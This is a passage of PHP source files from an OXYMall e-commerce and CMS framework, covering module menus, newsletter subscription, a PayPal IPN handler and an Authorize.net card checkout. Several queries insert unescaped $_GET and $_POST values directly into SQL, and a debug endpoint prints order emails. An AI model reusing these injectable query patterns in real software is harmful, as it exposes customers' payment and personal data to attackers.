$this->vars->data["set_facebook_secret"], )); try { // Proceed knowing you have a logged in user who's authenticated. $user_profile = $facebook->api('/me'); urlredirect($facebook->getLogoutUrl( array( "next" => $_CONF["url"] ) )); } catch (FacebookApiException $e) { error_log($e); $user = null; urlredirect($_CONF["url"]); } } else { urlredirect($_CONF["url"]); } } /** * description * * @param * * @return * * @access */ function Profile() { global $_SESS; $data = $_SESS["client"]; $return = CTemplateStatic::ReplacE( $this->private->templates["profile"]->blockreplace( "User", $data ), array( "shop_menu" => $this->module->plugins["shop"]->UserMenu(), "user_menu" => $this->module->plugins["users"]->UserMenu("1"), ) ); return $this->Texts( $return ); } /** * description * * @param * * @return * * @access */ function Texts($content) { $this->__init(); return CTemplateStatic::Replace( $content , array_merge( $this->tpl_module["settings"], $this->ActionLinks() ) ); } /** * description * * @param * * @return * * @access */ function UpdateSession($client = array()) { global $_SESS; if (!$_SESS["client"]) { return ""; } if (!count($client)) { //read the user again $client = $this->GetUserById($_SESS["client"]["user_id"]); } $fields = array( "user_shipping_phone" => "order_shipping_phone", "user_shipping_country" => "order_shipping_country", "user_shipping_zip" => "order_shipping_zip", "user_shipping_state" => "order_shipping_state", "user_shipping_city" => "order_shipping_city", "user_shipping_address_1" => "order_shipping_address_1", "user_shipping_address_2" => "order_shipping_address_2", "user_shipping_last_name" => "order_shipping_last_name", "user_shipping_first_name" => "order_shipping_first_name", "user_billing_phone" => "order_billing_phone", "user_billing_country" => "order_billing_country", "user_billing_zip" => "order_billing_zip", "user_billing_state" => "order_billing_state", "user_billing_city" => "order_billing_city", "user_billing_address_1" => "order_billing_address_1", "user_billing_address_2" => "order_billing_address_2", "user_billing_last_name" => "order_billing_last_name", "user_billing_first_name" => "order_billing_first_name", ); foreach ($fields as $key => $val) { $_SESS["checkout"]["billing"][$val] = $client[$key]; } $_SESS["client"] = $client; } function UserMenu($selected = "") { $this->__init(); return $this->texts( $this->private->templates["user-menu"]->BlockReplace( "Menu", array( "selected_1" => $selected == "1" ? "selected" : "", ) ) ); } } ?>``` site.modules.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss oxylus Exp $ description */ // dependencies /** * description * * @library * @author * @since */ class COXYMallModules extends CPlugin{ var $tplvars; function COXYMallModules() { //$this->CPlugin($db, $tables , $templates); } function DoEvents(){ global $base, $_CONF, $_TSM , $_VARS , $_USER , $_BASE , $_SESS; parent::DoEvents(); if ($_GET["sub"] == "oxymall.plugin.main.xml") { return $this->MainXml(); } } function __init() { global $_CONF; if ($this->__inited) { return ""; } $this->__inited = true; $path = $this->tpl_path; $templates = array( "menu" => "menu.htm", ); foreach ($templates as $key => $val) { $this->private->templates[$key] = new CTemplateDynamic( $path . $val ); } $this->tpl_module = $this->module->plugins["modules"]->LoadDefaultModule("newsletters"); } function GetFirstModuleByCode() { //read the small $_module = $this->db->QFetchArray( "SELECT * FROM {$this->tables['core:user_modules']} " . "WHERE mod_parent=0 " . "ORDER BY mod_order ASC LIMIT 1" ); if (is_array($_module)) { } return $_module; } function TopMenu() { global $base , $_NO_HTACCESS , $_SESS; //$_GET["module_id"] = "34"; $this->__init(); if ($_SESS["client"]["user_id"]) { $cond = " "; } else { $cond = " AND mod_protected=0 "; } $modules = $this->db->QFetchRowArray( "SELECT * FROM " . $this->tables['core:modules'] . ", " . $this->tables['core:user_modules'] . " " . "WHERE mod_module=module_id AND mod_status=1 {$cond}" . "ORDER BY mod_parent ASC,mod_order ASC" ); if (is_array($modules)) { foreach ($modules as $key => $val) { if ($val["module_code"] == "external-link") { $set = unserialize($val["mod_settings"]); $val["link"] = $set["set_link"]; $val["target"] = $this->module->plugins["common"]->LinkTarget($set["set_target"]); } else { $val["link"] = $this->ModuleLink($val); $val["target"] = ""; } if ($val["mod_invisible"]) { } else { if ($val["mod_parent"]) { if ($val["mod_id"] == $_GET["module_id"]) { $_modules[$val["mod_parent"]]["selected"] = $val["selected"] = $this->private->templates["menu"]->blockReplace("Selected" , array()); } //id i font have a parent then i have a protected category if ($_modules[$val["mod_parent"]]) { $_modules[$val["mod_parent"]]["sub"][] = $val; } } else { if ($val["mod_id"] == $_GET["module_id"]) { $val["selected"] = $this->private->templates["menu"]->blockReplace("Selected" , array()); } $_modules[$val["mod_id"]] = $val; } } } } if (is_array($_modules)) { foreach ($_modules as $key => $val) { if ($val["sub"]) { $val["subitems"] = $base->html->table( $this->private->templates["menu"], "SubMenu" , $val["sub"] ); } else $_modules[$key]["subitems"] = ""; $_modules[$key]["title"] = $this->private->templates["menu"]->blockReplace( $val["sub"] ? "NoLink" : "Link", $val ); } } return CTemplateStatic::Replace( $base->html->table( $this->private->templates["menu"], "Menu", $_modules ), array( "selected" => "" ) ); die(); } /** * description * * @param * * @return * * @access */ function ModuleLink($module) { return $this->PrepareLink($module["mod_url"] . "/") ; } function LoadModuleInfo() { //read the small $module = $this->db->QFetchArray( "SELECT * FROM {$this->tables['core:modules']} , {$this->tables['core:user_modules']} " . "WHERE module_id=mod_module AND mod_id=\"{$_GET[module_id]}\"" ); if (is_array($module)) { $module["settings"] = (array) unserialize($module["mod_settings"]); $module["default"] = unserialize($module["module_settings"]); } if (is_Array($module["settings"])) { foreach ($module["settings"] as $key => $val) { $module["settings"][$key] = stripslashes($val); } } $this->module->EncodeItems( &$modules , array( "mod_module_code" , "mod_name", "mod_long_name" , "mod_urltitle" , "mod_url" ) ); return $module; } function LoadDefaultModule($mod) { //read the small $module = $this->db->QFetchArray( "SELECT * FROM {$this->tables['core:modules']} " . "WHERE module_code='{$mod}'" ); if (is_array($module)) { $module["settings"] = unserialize($module["module_settings"]); } return $module; } function GetFirstModule() { //read the small $_module = $this->db->QFetchArray( "SELECT * FROM {$this->tables['core:user_modules']} " . "WHERE mod_parent=0 AND mod_module_code!='category' AND mod_invisible=0 AND mod_status=1 " . "ORDER BY mod_order ASC LIMIT 1" ); if (is_array($_module)) { $_module["settings"] = unserialize($_module["settings"]); } return $_module; } function GetModuleByCode($module) { //read the small $_module = $this->db->QFetchArray( "SELECT * FROM {$this->tables['core:user_modules']} " . "WHERE mod_url='{$module}'" ); return $_module; } function GetModuleByID($module) { //read the small $_module = $this->db->QFetchArray( "SELECT * FROM {$this->tables['core:user_modules']} " . "WHERE mod_id='{$module}'" ); return $_module; } /** * description * * @param * * @return * * @access */ function GetIdFromLink($link) { $tmp = explode("-" , $link); return trim($tmp[count($tmp)-1]); } /** * description * * @param * * @return * * @access */ function SetSeo($item) { global $_TSM; if ($item["seo_title"] && !$_TSM["PUB:SEO_TITLE"]) $_TSM["PUB:SEO_TITLE"] = $item["seo_title"]; if ($item["seo_desc"] && !$_TSM["PUB:SEO_DESC"]) $_TSM["PUB:SEO_DESC"] = $item["seo_desc"]; if ($item["seo_keys"] && !$_TSM["PUB:SEO_KEYS"]) $_TSM["PUB:SEO_KEYS"] = $item["seo_keys"]; } /** * description * * @param * * @return * * @access */ function RedirectToModule($id , $link = false) { //read the small $module = $this->db->QFetchArray( "SELECT * FROM {$this->tables['core:modules']} , {$this->tables['core:user_modules']} " . "WHERE module_id=mod_module AND mod_id=\"{$id}\"" ); if (is_array($module)) { $module["settings"] = (array) unserialize($module["mod_settings"]); $module["default"] = unserialize($module["module_settings"]); } global $_CONF; //check the url based on module type if ($link) { return $this->PrepareLink($module["mod_url"] . "/"); } urlredirect($this->PrepareLink($module["mod_url"] . "/")); } /** * description * * @param * * @return * * @access */ function PrepareLink($link) { global $_CONF; //check if the link needs index.php .. if (!$this->vars->data["set_links_type"]) { return $_CONF["url"] . "index.php/" . $link; } else { return $_CONF["url"] . $link; } } /** * description * * @param * * @return * * @access */ function Redirect404() { global $_CONF; $module = $this->GetModuleById($this->vars->data["set_404"]); header("HTTP/1.1 404 Not Found"); header("Location: " . $this->PrepareLink($module["mod_url"] . "/")); exit(); } } ?>``` site.newsletters.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss oxylus Exp $ description */ // dependencies /** * description * * @library * @author * @since */ class COXYMallNewsletters extends CPlugin{ var $tplvars; function COXYMallNewsletters() { //$this->CPlugin($db, $tables , $templates); } function DoEvents(){ global $base, $_CONF, $_TSM , $_VARS , $_USER , $_BASE , $_SESS; parent::DoEvents(); if ($_GET["sub"] == "oxymall.plugin.newsletters.subscribe") { return $this->SubscribeUser(); } } function __init() { global $_CONF; if ($this->__inited) { return ""; } $this->__inited = true; $path = $this->tpl_path; $templates = array( "main" => "main.htm", ); foreach ($templates as $key => $val) { $this->private->templates[$key] = new CTemplateDynamic( $path . $val ); } $this->tpl_module = $this->module->plugins["modules"]->LoadDefaultModule("newsletters"); } function Main() { global $base; $this->__init(); //load the module if ($this->tpl_module["module_unique_enabled"]) { return CTemplateStatic::Replace( $this->private->templates["main"]->blockReplace( "Main" , $this->tpl_module["settings"] ) ); } else { return ""; } } /** * description * * @param * * @return * * @access */ function Button() { $this->__init(); if ($this->tpl_module["module_unique_enabled"]) { return $this->private->templates["main"]->blockReplace( "Button", $this->tpl_module["settings"] ); } } /** * description * * @param * * @return * * @access */ function SubscribeUser() { $this->__init(); if (!$_POST["email"]) { return $this->module->plugins["common"]->ErrorMsg( $this->tpl_module["settings"]["set_wrongemailtext"] ); } if (!$_POST["name"] && ($_POST["action"]=="1")) { return $this->module->plugins["common"]->ErrorMsg( $this->tpl_module["settings"]["set_wrongnametext"] ); } switch ($_POST["action"]) { case "1": //check if user exists $user = $this->db->QFetchArray("SELECT * FROM {$this->tables['plugin:newsletters_subscribers']} WHERE item_email=\"{$_POST[email]}\""); if (is_array($user)) { return $this->module->plugins["common"]->ErrorMsg( $this->tpl_module["settings"]["set_alreadysubscribedalert"] ); } //insert the user $this->db->QueryInsert( $this->tables["plugin:newsletters_subscribers"], array( "item_name" => $_POST["name"], "item_email" => $_POST["email"], "item_date" => time(), ) ); return $this->module->plugins["common"]->SuccessMsg( $this->tpl_module["settings"]["set_successubscribe"] ); break; case "2": //check if user exists $user = $this->db->QFetchArray("SELECT * FROM {$this->tables['plugin:newsletters_subscribers']} WHERE item_email=\"{$_POST[email]}\""); if (!is_array($user)) { return $this->module->plugins["common"]->ErrorMsg( $this->tpl_module["settings"]["set_alreadyunsubscribedalert"] ); } $this->db->Query("DELETE FROM {$this->tables['plugin:newsletters_subscribers']} WHERE item_id={$user[item_id]}"); return $this->module->plugins["common"]->SuccessMsg( $this->tpl_module["settings"]["set_succesunsubscribe"] ); break; default: return $this->module->plugins["common"]->ErrorMsg( $this->tpl_module["settings"]["set_failtext"] ); break; } } function GetAllLinks($module , $links) { } } ?>``` pre.cron.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss author Exp $ description */ // dependencies //force the existence of the newsletters module if the page is cron if ($_PAGE == "cron") { $_CONF["modules"]["newsletters"] = "newsletters"; $_CONF["path"] = "../"; $_CONF["url"] = "../"; } ?> ``` admin.about.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss oxylus Exp $ description */ // dependencies /** * description * * @library * @author * @since */ class COXYMallAbout extends CPlugin{ var $tplvars; function COXYMallAbout() { //$this->CPlugin($db, $tables , $templates); } function DoEvents(){ global $base, $_CONF, $_TSM , $_VARS , $_USER , $_BASE , $_SESS; parent::DoEvents(); if (strstr($_GET["sub"] , "oxymall.plugin.about.")) { $sub = str_replace("oxymall.plugin.about." , "" ,$_GET["sub"]); $action = $_GET["action"]; //read the module $this->tpl_module = $this->module->plugins["modules"]->getModuleInfo($_GET["module_id"]); switch ($sub) { case "landing": //fix for module var $_POST["module_id"] = $this->tpl_module["module_id"]; $data = new CFormSettings($this->forms_path . $sub . ".xml" ,$_CONF["forms"]["admintemplate"] , $this->db,$this->tables); $data->form["title"] = CTemplateStatic::Replace( $data->form["title"], array( "title" => $this->tpl_module["mod_name"]) ); $data->form["fields"]["about_header_" . $this->tpl_module["mod_id"]] = $data->form["fields"]["header"]; unset($data->form["fields"]["header"]); if ($data->Done()) { $this->vars->SetAll($_POST); $this->vars->Save(); } return $data->Show($this->vars->data); break; } } } } ?>``` site.shop.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss oxylus Exp $ description */ // dependencies /** * description * * @library * @author * @since */ class COXYMallShop extends CPlugin{ var $tplvars; function COXYMallShop() { //$this->CPlugin($db, $tables , $templates); } function DoEvents(){ global $base, $_CONF, $_TSM , $_VARS , $_USER , $_BASE , $_SESS; parent::DoEvents(); if (strstr($_GET["sub"] , "oxymall.plugin.shop.")) { $sub = str_replace("oxymall.plugin.shop." , "" ,$_GET["sub"]); $action = $_GET["action"]; $this->__init(); switch ($sub) { case "store": return $this->StoreOrder($this->db->QFetchArray("SELECT * FROM {$this->tables['plugin:shop_accounts']} WHERE item_code='authorize'")); case "ajax.addcart": return $this->AddToCart(); break; case "ajax.summary": return $this->AjaxSummary(); break; case "ajax.cart": return $this->AjaxSummary($this->private->templates["order-cart"]); break; case "cart": return $this->ViewCart(); break; case "checkout": $this->cartEmptyCheck(); return $this->Billing(); break; case "shipping": $this->cartEmptyCheck(); return $this->Shipping(); break; case "review": $this->cartEmptyCheck(); return $this->Review(); break; case "payment": $this->cartEmptyCheck(); return $this->Payment(); break; #ajax part case "ajax.billing": return $this->AjaxBilling(); break; case "ajax.shipping": return $this->AjaxShipping(); break; case "orders-history": $this->module->plugins["users"]->__check_session(); return $this->OrdersHistory(); break; case "order-history": $this->module->plugins["users"]->__check_session(); return $this->OrderHistory(); break; case "profile-shop": $this->module->plugins["users"]->__check_session(); return $this->ProfileShop(); break; case "ajax.profile": return $this->ajax_update_profile(); break; case "orders-download": $this->module->plugins["users"]->__check_session(); return $this->ProfileDownloads(); break; #development case "sendmail": echo $this->BuildOrderEmail("AU-H5CX-2NIWE"); die(); break; case "order.download": return $this->DownloadOrderFile(); break; #authorize.net case "checkout.authorize": return $this->CheckoutAuthorize(); break; #offline processingf case "checkout.offline.success": return $this->CheckoutOfflineSuccess(); break; case "checkout.offline": return $this->CheckoutOffline(); break; #paypal case "checkout.paypal.success": return $this->CheckoutPaypalSuccess(); break; case "checkout.paypal.cancel": return $this->CheckoutPaypalCancel(); break; case "checkout.paypal": return $this->CheckoutPaypal(); break; case "checkout.paypal.ipn": return $this->CheckoutPaypalIPN(); break; } } if ($_GET["sub"] == "oxymall.plugin.cart.xml") { return $this->GenerateXML(); } } function __init() { global $_CONF; if ($this->__inited) { return ""; } $this->__inited = true; $path = $this->tpl_path; $templates = array( "summary" => "summary.htm", "order-cart" => "order-cart.htm", "order-billing" => "order-billing.htm", "order-shipping" => "order-shipping.htm", "order-review" => "order-review.htm", "order-payment" => "order-payment.htm", "checkout-title" => "checkout-title.htm", "orders-history" => "orders-history.htm", "order-details" => "order-details.htm", "user-menu" => "user-menu.htm", "profile" => "profile.htm", "profile-downloads" => "profile-downloads.htm", ); foreach ($templates as $key => $val) { $this->private->templates[$key] = new CTemplateDynamic( $path . $val ); } $this->tpl_module = $this->module->plugins["modules"]->LoadDefaultModule("shop"); } function GetAllLinks($module , $links) { } function CheckoutPaypalIPN() { // SaveFileContents("n/" . time() . ".txt" , serialize($_POST)); // $_POST = unserialize(GetFileContents("n/1320163232.txt")); $account = $this->db->QFetchArray("SELECT * FROM {$this->tables['plugin:shop_accounts']} WHERE item_code='paypal'"); $data = $_POST; $paypal = new CPaypal($account["item_account"]); if (is_array($return = $paypal->IPN())) { //store this transaction in log $data["trans_date"] = time(); $this->db->QueryInsert( $this->tables['plugin:shop_log_paypal'], $data ); //read the order $order = $this->db->QFetchArray( "SELECT * FROM {$this->tables['plugin:shop_orders']} WHERE order_code='{$data[custom]}'" ); //add the transaction id if (!$order["order_trans_id"]) { $new_order["order_trans_id"] = $data["txn_id"]; } switch ($data["payment_status"]) { case "Pending": $new_order["order_status"] = "1"; break; case "Completed": $new_order["order_status"] = "2"; $new_order["order_payment_date"] = time(); break; case "Refunded": $new_order["order_status"] = "3"; break; } $this->db->QueryUpdate( $this->tables['plugin:shop_orders'], $new_order, "order_id={$order[order_id]}" ); if (($new_order["order_status"] == "2") && ($new_order["order_status"] != $order["order_status"])) { //update the order $products = $this->db->QFetchRowArray( "SELECT item_product_sku FROM {$this->tables['plugin:shop_cart']} WHERE item_order={$order[order_id]}" ); if (count($products)) { foreach ($products as $key => $val) { //update the sales count for this product $this->db->Query( "UPDATE {$this->tables['plugin:shop_items']} SET item_sales = item_sales+1 WHERE item_sku ='{$val[item_product_sku]}'" ); } } //send the mail to admin $email = $this->module->plugins["mail"]->SendMail( $this->module->plugins["mail"]->GetMail( $this->vars->data["set_shop_mail_admin"], array_merge( array( "order_data" => $this->BuildOrderEmail($order["order_code"] , true) ), $order ) ) ); //send mail to client $email = $this->module->plugins["mail"]->SendMail( $this->module->plugins["mail"]->GetMail( $this->vars->data["set_shop_mail_client_2"], array_merge( array( "order_data" => $this->BuildOrderEmail($order["order_code"] , false) ), $order ) ) ); } if (($new_order["order_status"] == "3") && ($new_order["order_status"] != $order["order_status"])) { $email = $this->module->plugins["mail"]->SendMail( $this->module->plugins["mail"]->GetMail( $this->vars->data["set_shop_mail_client_3"], array_merge( array( "order_data" => $this->BuildOrderEmail($order["order_code"] , false) ), $order ) ) ); } die("seding mail"); } echo "ok"; die(); } /** * description * * @param * * @return * * @access */ function CheckoutPaypalSuccess() { global $_CONF; $account = $this->db->QFetchArray("SELECT * FROM {$this->tables['plugin:shop_accounts']} WHERE item_code='paypal'"); $this->module->plugins["modules"]->RedirectToModule( $account["item_page_ok"] ); } function CheckoutPaypalCancel() { global $_CONF; $account = $this->db->QFetchArray("SELECT * FROM {$this->tables['plugin:shop_accounts']} WHERE item_code='paypal'"); $this->module->plugins["modules"]->RedirectToModule( $account["item_page_error"] ); } /** * description * * @param * * @return * * @access */ function LoadModule() { $module = $this->module->plugins["modules"]->LoadDefaultModule("shop"); return array( "module_code" => "cart", "module_file" => "cart.swf", "mod_name" => $module["settings"]["set_title"], "mod_invisible" => 1, "mod_id" => "-1", "mod_url" => "cart", "mod_urltitle" => $module["settings"]["set_title"], ); } /** * description * * @param * * @return * * @access */ function __paymentAccounts($template) { global $base; $bool = array( 1 => "true", 0 => "false" ); $accounts = $this->db->QFetchRowArray("SELECT * FROM {$this->tables['plugin:shop_accounts']} WHERE item_status ORDER BY item_order ASC"); if (is_array($accounts)) { foreach ($accounts as $key => $val) { $accounts[$key]["item_card"] = $bool[(int)$val["item_card"]]; $accounts[$key]["item_type"] = $bool[(int)$val["item_type"]]; } } return $base->html->table( $template , "Payment", $accounts ); } /** * description * * @param * * @return * * @access */ function __countries($template) { global $base; $countries = $this->db->QFetchRowArray( "SELECT * FROM {$this->tables['plugin:shop_countries']} WHERE item_status=1 ORDER BY item_title ASC" ); if (is_array($countries)) { foreach ($countries as $key => $val) { if ($val["item_states"]) { $tmp = explode("\n" , $val["item_states"]); $states = array(); foreach ($tmp as $k => $v) { $states[] = array( "item_title" => trim($v), ); } $countries[$key]["states"] = $base->html->Table( $template , "States", $states ); } else $countries[$key]["states"] = ""; } } $data = $base->html->Table( $template , "Countries", $countries ); return $data; } /** * description * * @param * * @return * * @access */ function __years($template) { global $base; $start = date("Y"); for ($i = $start; $i<= $start+10 ; $i++ ) { $years[] = array( "title" => $i, "default" => "0" ); } $years[0]["default"] = "1"; return $base->html->Table( $template , "Years" , $years ); } /** * description * * @param * * @return * * @access */ function __tax($price) { global $_SESS; if ($this->vars->data["set_shop_shipping_country"] != $_SESS["checkout"]["billing"]["order_billing_country"]) { //international tax if ($this->vars->data["set_tax_international"]) { return $price * $this->vars->data["set_tax_international"] / 100; } else return 0; } if ($this->vars->data["set_tax_domestic"]) { return $price * $this->vars->data["set_tax_domestic"] / 100; } else return 0; } /** * description * * @param * * @return * * @access */ function UpdateOrder($oc , $data) { $this->db->QueryUpdate( $this->tables['plugin:shop_orders'], $data, "order_code=\"{$oc}\"" ); return true; } /** * description * * @param * * @return * * @access */ function PrepareOrder($data) { if (is_array($data["Product"])) { foreach ($data["Product"] as $key => $val) { $product = array( "quantity" => $val["quantity"], "price" => $val["price"], "product" => $val["name"], "sku" => $val["productId"], "options" => $val["options"] ? implode("," , $val["options"]) : "", ); $_cart[] = $product; } } $data["cart"] = $_cart; return $data; } /** * description * * @param * * @return * * @access */ function StoreOrder($account = false) { global $_SESS; $cart = $_SESS["cart"]; $data = $_SESS["checkout"]["billing"]; $cart = $this->ProcessCart(false); //add the shipping if ($_SESS["checkout"]["shipping"]) { $shipping = $this->db->QFetchArray("SELECT * FROM {$this->tables['plugin:shop_shipping']} WHERE item_id=\"{$_SESS[checkout][shipping]}\""); } $order = array( "order_status" => 0, //pending "order_date" => time(), "order_user" => $_SESS["client"]["user_id"], "order_price_subtotal" => $cart["subtotal"], "order_price_discount" => 0, "order_price_shipping" => $cart["shipping"], "order_price_tax" => $cart["tax"], "order_price_total" => $cart["total"], "order_products" => $cart["products"], "order_price_currency" => $this->vars->data["set_shop_currency"], "order_shipping_method" => $shipping["item_id"], "order_shipping_method_name"=> $shipping["item_title"], "order_payment_method" => $account["item_id"], "order_payment_method_name" => $account["item_title"], "order_billing_first_name" => $data["order_billing_first_name"], "order_billing_last_name" => $data["order_billing_last_name"], "order_billing_address_1" => $data["order_billing_address_1"], "order_billing_address_2" => $data["order_billing_address_2"], "order_billing_city" => $data["order_billing_city"], "order_billing_state" => $data["order_billing_state"], "order_billing_zip" => $data["order_billing_zip"], "order_billing_country" => $data["order_billing_country"], "order_billing_phone" => $data["order_billing_phone"], "order_billing_email" => $data["order_billing_email"], "order_shipping_first_name" => $data["order_shipping_first_name"], "order_shipping_last_name" => $data["order_shipping_last_name"], "order_shipping_address_1" => $data["order_shipping_address_1"], "order_shipping_address_2" => $data["order_shipping_address_2"], "order_shipping_city" => $data["order_shipping_city"], "order_shipping_state" => $data["order_shipping_state"], "order_shipping_zip" => $data["order_shipping_zip"], "order_shipping_country" => $data["order_shipping_country"], "order_shipping_phone" => $data["order_shipping_phone"], ); //store the order and record the id $oid = $this->db->QueryINsert( $this->tables["plugin:shop_orders"], $order ); //update the ordercode $oc = $this->GenerateOrderCode($account); //save the order code $this->db->QueryUpdate( $this->tables["plugin:shop_orders"], array( "order_code" => $oc, ), "order_id={$oid}" ); //store the products if (is_array($cart["items"])) { foreach ($cart["items"] as $key => $val) { $this->db->QueryInsert( $this->tables["plugin:shop_cart"], array( "item_order" => $oid, "item_date" => time(), "item_price" => $val["price_raw"], "item_quantity" => $val["qty"], "item_total" => $val["total_price_raw"], "item_product" => $val["title"], "item_product_sku" => $val["sku"], "item_product_id" => $val["id"], "item_options" => $val["options"], ) ); } } return array( "order" => $order, "order_code" => $oc, "cart" => $cart["items"], "oid" => $oid, ); } /** * description * * @param * * @return * * @access */ function CheckoutPaypal() { $account = $this->db->QFetchArray("SELECT * FROM {$this->tables['plugin:shop_accounts']} WHERE item_code='paypal'"); $template = new CTemplate($this->tpl_path . "checkout-paypal.htm"); //store the order in database $result = $this->StoreOrder( $account ); //get the shopp account $paypal = new CPaypal($account["item_account"]); //build the url global $_CONF; $paypal->SetUrls( $_CONF["url"] . "checkout-paypal-success.php", $_CONF["url"] . "checkout-paypal-cancel.php", $_CONF["url"] . "checkout-paypal-ipn.php" ); $paypal->SetPrices( $result["order"]["order_price_subtotal"], $result["order"]["order_price_shipping"], $result["order"]["order_price_tax"], $result["order"]["order_price_discount"] ); $paypal->OrderInfo( array( "id" => "", "invoice" => $result["order_code"], "description" => $account["item_order_description"] ) ); //add the currency code $paypal->SetCurrency(strtoupper($this->vars->data["set_shop_currency"])); return $template->blockReplace( "Main", array( "form" => $paypal->__drawForm(), "item_redirect" => $account["item_redirect"], ) ); } function CheckoutOffline() { $account = $this->db->QFetchArray("SELECT * FROM {$this->tables['plugin:shop_accounts']} WHERE item_code='offline'"); //store the order in database $result = $this->StoreOrder( $account ); //update order to pending status $this->db->QueryUpdate( $this->tables["plugin:shop_orders"], array( "order_status" => "1", ), "order_code='{$result[order_code]}'" ); //send the mail to admin $email = $this->module->plugins["mail"]->SendMail( $this->module->plugins["mail"]->GetMail( $this->vars->data["set_shop_mail_admin"], array_merge( array( "order_data" => $this->BuildOrderEmail($result["order_code"] , true) ), $result["order"] ) ) ); //send mail to client $email = $this->module->plugins["mail"]->SendMail( $this->module->plugins["mail"]->GetMail( $this->vars->data["set_shop_mail_client_1"], array_merge( array( "order_data" => $this->BuildOrderEmail($result["order_code"] , false) ), $result["order"] ) ) ); //clear cart $this->ClearCart(); return $this->module->plugins["common"]->SuccessMSG( "", $this->module->plugins["modules"]->RedirectToModule( $account["item_page_ok"], true ) ); } /** * description * * @param * * @return * * @access */ function CheckoutAuthorize() { global $_SESS; //check for default fields $fields = array( "nr" , "name" , "type" , "year" , "month" , "cvv2" ); foreach ($fields as $key => $val) { if (!$_POST[$val]) { return $this->module->plugins["common"]->ErrorMsg( $this->tpl_module["settings"]["set_step4_error"] ); } } $account = $this->db->QFetchArray("SELECT * FROM {$this->tables['plugin:shop_accounts']} WHERE item_code='authorize'"); $price = $this->ProcessCart(); $test = new CPay(); $test->SetMerchant("authorize"); $test->SetLogin($account["item_account"],$account["item_password"]); $test->_transid = $account["item_gatewayid"]; if ($account["item_demo"]) { $test->EnableTest(); } //($nr ,$expm , $expy , $ccvv = "" , $no = 0) $test->SetCCInfo($_POST["nr"],$_POST["month"] , $_POST["year"],$_POST["cvv2"]); $test->SetBillingInfo( $_SESS["checkout"]["billing"]["order_billing_first_name"], $_SESS["checkout"]["billing"]["order_billing_last_name"], "", $_SESS["checkout"]["billing"]["order_billing_address_1"], $_SESS["checkout"]["billing"]["order_billing_address_2"], $_SESS["checkout"]["billing"]["order_billing_city"], $_SESS["checkout"]["billing"]["order_billing_state"], $_SESS["checkout"]["billing"]["order_billing_zip"], $_SESS["checkout"]["billing"]["order_billing_country"], $_SESS["checkout"]["billing"]["order_billing_email"], $_SESS["checkout"]["billing"]["order_billing_phone"] ); $test->SetShippingInfo( $_SESS["checkout"]["billing"]["order_shipping_first_name"], $_SESS["checkout"]["billing"]["order_shipping_last_name"], "", $_SESS["checkout"]["billing"]["order_shipping_address_1"], $_SESS["checkout"]["billing"]["order_shipping_address_2"], $_SESS["checkout"]["billing"]["order_shipping_city"], $_SESS["checkout"]["billing"]["order_shipping_state"], $_SESS["checkout"]["billing"]["order_shipping_zip"], $_SESS["checkout"]["billing"]["order_shipping_country"], $_SESS["checkout"]["billing"]["order_shipping_email"], $_SESS["checkout"]["billing"]["order_shipping_phone"] ); $trans_id = $this->GenerateOrderCode($account); $test->SetOrderInfo( $trans_id , $account["item_order_description"]); $test->SetAction(PAY_CAPTURE); $test->SetPrices($price["total"] , $price["tax"] , $price["shipping"]); $test->CallMerchant(); if ($test->Aproved()) { $ord = $this->StoreOrder($account); $this->UpdateOrder( $ord["order_code"], array( "order_code" => $trans_id, "order_status" => "2", "order_payment_date" => time(), "order_trans_id" => $test->_transid, ) ); //update the sales $order_data = $this->db->QFetchArray( "SELECT * FROM {$this->tables['plugin:shop_orders']} WHERE order_code='{$trans_id}'" ); //update the order $products = $this->db->QFetchRowArray( "SELECT item_product_sku FROM {$this->tables['plugin:shop_cart']} WHERE item_order={$order_data[order_id]}" ); if (count($products)) { foreach ($products as $key => $val) { //update the sales count for this product $this->db->Query( "UPDATE {$this->tables['plugin:shop_items']} SET item_sales = item_sales+1 WHERE item_sku ='{$val[item_product_sku]}'" ); } } //send the mail to admin $email = $this->module->plugins["mail"]->SendMail( $this->module->plugins["mail"]->GetMail( $this->vars->data["set_shop_mail_admin"], array_merge( array( "order_data" => $this->BuildOrderEmail($trans_id , true) ), $ord["order"] ) ) ); //send mail to client $email = $this->module->plugins["mail"]->SendMail( $this->module->plugins["mail"]->GetMail( $this->vars->data["set_shop_mail_client_2"], array_merge( array( "order_data" => $this->BuildOrderEmail($trans_id , false) ), $ord["order"] ) ) ); //clear cart $this->ClearCart(); return $this->module->plugins["common"]->SuccessMSG( "", $this->module->plugins["modules"]->RedirectToModule( $account["item_page_ok"], true ) ); } else { return $this->module->plugins["common"]->ErrorMsg( $test->_gwerorr ); } } /** * description * * @param * * @return * * @access */ function GenerateOrderCode($account) { do { $oc= $account["item_order_preffix"] . "-" . strtoupper(randomWord(4)) . "-" . strtoupper(randomword("5")); } while (is_array($this->db->QFetchArray("SELECT * FROM {$this->tables['plugin:shop_orders']} WHERE order_code='{$oc}'"))); return $oc; } /** * description * * @param * * @return * * @access */ function BuildOrderEmail($code , $admin = false) { global $base; $status = array( "1" => "准备发货", "2" => "完成交易", "3" => "被拒绝", ); $template = new CTemplateDynamic($this->tpl_path . "mail-order.htm"); $order = $this->db->QFetchArray("SELECT * FROM {$this->tables['plugin:shop_orders']} WHERE order_code=\"{$code}\""); if (!is_array($order)) { return ""; } //read the cart content $cart = $this->db->QFetchRowArray("SELECT * FROM {$this->tables['plugin:shop_cart']} WHERE item_order={$order[order_id]}"); if (is_array($cart)) { foreach ($cart as $key => $val) { $cart[$key]["cnt"] = ++$cnt; $product = $this->db->QFetchArray("SELECT * FROM {$this->tables['plugin:shop_items']} WHERE item_sku='{$val[item_product_sku]}'"); $files = 